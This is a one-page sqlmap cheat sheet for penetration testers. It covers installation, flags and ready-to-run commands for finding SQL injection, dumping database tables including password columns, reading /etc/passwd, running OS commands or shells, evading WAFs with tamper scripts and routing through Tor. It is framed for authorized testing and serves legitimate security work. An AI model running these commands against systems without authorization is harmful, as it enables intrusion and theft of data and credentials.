sqlmap — Professional Cheat Sheet

One-page professional reference for **sqlmap** — automated SQL injection & database takeover tool. Quick commands, flags, payload types, techniques, and operational notes for penetration testers.

---

1) At-a-glance

- **Tool:** `sqlmap` — automated SQL injection discovery and exploitation framework. Supports fingerprinting DBMS, data extraction, file system access, OS command execution, and many DB backends (MySQL, MSSQL, PostgreSQL, Oracle, SQLite, DB2, etc.).
- **Primary uses:** Detecting SQL injection, extracting schema/data, executing OS commands via SQL injection vulnerabilities, testing WAFs and filters, and demonstrating impact.
- **Safety note:** Use only on systems you have authorization to test. `--os-shell`, `--os-pwn`, `--file-write` can be destructive.

---

2) Install / update

```
# Kali (preinstalled usually)
sudo apt update && sudo apt install sqlmap

# From source (latest)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
# run via: python3 sqlmap.py [options]
```

---

3) Basic usage pattern

```
sqlmap -u "http://example.com/page.php?id=1" [OPTIONS]
# or use -r to load a Burp request file: sqlmap -r request.txt
```

- `-u` target URL with injectable parameter(s). - `-r` load raw HTTP request file (Burp) — recommended for complex requests. - `-p` specify parameter(s) to test (comma-separated). - `--batch` non-interactive (useful in scripts).

---

4) Important options (grouped)

Target & request handling

- `-u URL` : target URL.
- `-r FILE` : load HTTP request (Burp) file.
- `-p PARAM` : parameter(s) to test.
- `--data='POSTDATA'` : POST body (or use `-r`).
- `--cookie='name=val'` : send cookies.
- `-H 'Header: value'` : add custom header; repeatable.
- `--headers=FILE` : headers from file.
- `--user-agent=UA` : set UA.
- `--random-agent` : rotate User-Agent.

Detection & tests

- `--level=N` : test depth (1-5). Higher = more payloads.
- `--risk=N` : payload riskiness (0-3). Higher = more intrusive.
- `--technique=BEUSTQ` : restrict techniques: Blink/B (Boolean), E(Error), U(Union), S(Stacked), T(Time), Q(Inline query). Example `--technique=BEU`.
- `--dbms=DBMS` : force DBMS type (e.g. MySQL, MSSQL, PostgreSQL).
- `--string='TEXT'` / `--regexp='REGEX'` : string/regex to detect true responses.

Enumeration

- `--dbs` : enumerate databases.
- `--tables -D dbname` : list tables in dbname.
- `--columns -D db -T tbl` : list columns.
- `--dump -D db -T tbl -C col1,col2` : dump data (can dump whole DB).
- `--search -D db -T tbl -C col -S string` : search for strings.
- `--count` : count entries instead of dumping (fast).

Filesystem & OS

- `--file-read=/path/to/file` : read file from filesystem.
- `--file-write=/path/to/localfile --file-dest=/remote/path` : write file to remote FS (supported via certain techniques/DBMS and UDFs).
- `--os-shell` : interactive OS shell (experimental, DBMS dependent).
- `--os-pwn` : attempt privilege escalation (automated payloads) — dangerous.
- `--os-cmd='command'` : run single OS command.

Authentication & proxies

- `--auth-type=TYPE --auth-cred='user:pass'` : HTTP auth Basic/Digest.
- `--proxy=http://127.0.0.1:8080` : use proxy (e.g., Burp).
- `--tor --tor-type=SOCKS5 --check-tor` : route via Tor.

Performance & stealth

- `--threads=N` : number of concurrent HTTP requests.
- `--delay=SECONDS` : wait between requests.
- `--randomize=param` : randomize parameter order/values.
- `--safe-url=URL --safe-post=DATA` : use safe request to reduce risk.
- `--timeout=SECONDS` : request timeout.

Output & automation

- `-o` : enable all optimization switches.
- `--batch` : non-interactive; accept default answers.
- `-v LEVEL` : verbose (0-6).
- `-q` : quiet.
- `--output-dir=DIR` : store output files and logs.
- `--flush-session` : clear stored session for a target.

---

5) Common practical examples

5.1 Quick test + fingerprint

```
sqlmap -u "http://target/?id=1" --batch --level=1 --risk=1 -v 2
```

5.2 Use Burp request file (recommended for auth/headers)

```
sqlmap -r burp_req.txt --batch --threads=4 --level=3 --risk=2
```

5.3 Enumerate DBs and tables

```
sqlmap -u "http://t/?id=1" -p id --dbs
sqlmap -u "http://t/?id=1" -p id -D mydb --tables
sqlmap -u "http://t/?id=1" -p id -D mydb -T users --columns
sqlmap -u "http://t/?id=1" -p id -D mydb -T users --dump
```

5.4 Dump selected columns (comma separated)

```
sqlmap -u URL -p id -D db -T users -C id,username,password --dump
```

5.5 File read from DB server

```
sqlmap -u URL -p id --file-read="/etc/passwd"
```

5.6 OS command execution (when supported)

```
sqlmap -u URL -p id --os-cmd='id'   # single command
sqlmap -u URL -p id --os-shell      # interactive shell (if available)
```

5.7 Use a proxy / Burp

```
sqlmap -u URL -p id --proxy=http://127.0.0.1:8080 --batch
```

5.8 Run through Tor

```
sqlmap -u URL -p id --tor --tor-type=SOCKS5 --check-tor
```

5.9 Bypass WAFs with tamper scripts

```
sqlmap -u URL -p id --tamper=space2comment,randomcase --batch
```

- Use `--tamper` scripts directory list to combine multiple.

---

6) Advanced techniques & tips

- **Level & Risk tuning:** `--level` controls the number of parameters and payloads tested; `--risk` increases use of riskier payloads (e.g., `UNION SELECT` with heavy queries). Start low and increase if safe.
- **Technique selection:** Use `--technique=U` to focus on UNION, or `--technique=BEUSTQ` for full coverage.
- **WAF evasion:** try `--tamper` scripts (look in `tamper/`), custom headers, and lower request rate. Combine with `--delay` and `--random-agent`.
- **Session management:** sqlmap stores sessions in `~/.sqlmap` — reuse or flush with `--flush-session`.
- **Custom injection point markers:** use `*` in POST/GET to mark injection point (e.g., `--data='username=admin&pass=*&submit=Login'`).
- **Non-standard responses:** use `--string` or `--regexp` to define true responses when default detection fails.
- **DBMS-specific payloads:** force `--dbms` when you know the backend to speed up exploitation.

7) Common pitfalls & troubleshooting

- **False negatives:** Some web apps normalize inputs; use `--technique` / `--tamper` to try different payload encodings.
- **403 / WAF blocking:** reduce speed, use tamper scripts, or test via an internal proxy. If blocked, stop and coordinate with client.
- **Large responses / timeouts:** increase `--timeout` or reduce `--threads`.
- **Unreliable network:** use `--retries` or `--randomize` and `--delay`.
- **No visible injection:** try different parameters with `--param` / `-p`, or use Burp to identify reflected behavior then use `-r`.

---

8) Reporting & OPSEC

- Keep detailed logs (`--output-dir`) and record exact commands used.
- Avoid running destructive options (`--os-pwn`, aggressive `--file-write`) without explicit permission.
- When demonstrating impact, prefer read-only proofs (e.g., `--file-read` of a non-sensitive file or `--dump -C id,email` limited columns) to reduce exposure.
- Coordinate with blue team to avoid causing outages during tests.

---

9) Helpful one-liners

```
# Quick discover + dbs
sqlmap -u "http://t/?id=1" -p id --dbs --batch

# Burp request, enumerate tables, dump
sqlmap -r burp.txt -p "id" --tables -D targetdb --dump --batch

# Read /etc/passwd
sqlmap -u URL -p id --file-read="/etc/passwd"

# Get an OS shell (dangerous)
sqlmap -u URL -p id --os-shell
```

---

10) Alternatives & complementary tools

- **Manual testing:** Burp Suite (Intruder, Repeater) for nuanced webflows.
- **BBQSQL / NoSQLMap:** for blind/noSQL injections.
- **WAF fingerprinting tools:** wafw00f to detect protections before heavy testing.

Final notes

This cheat sheet is intended for authorized penetration testing and defensive assessments. `sqlmap` is powerful — always have written permission and a clear scope before using it on third-party systems.

End of cheat sheet.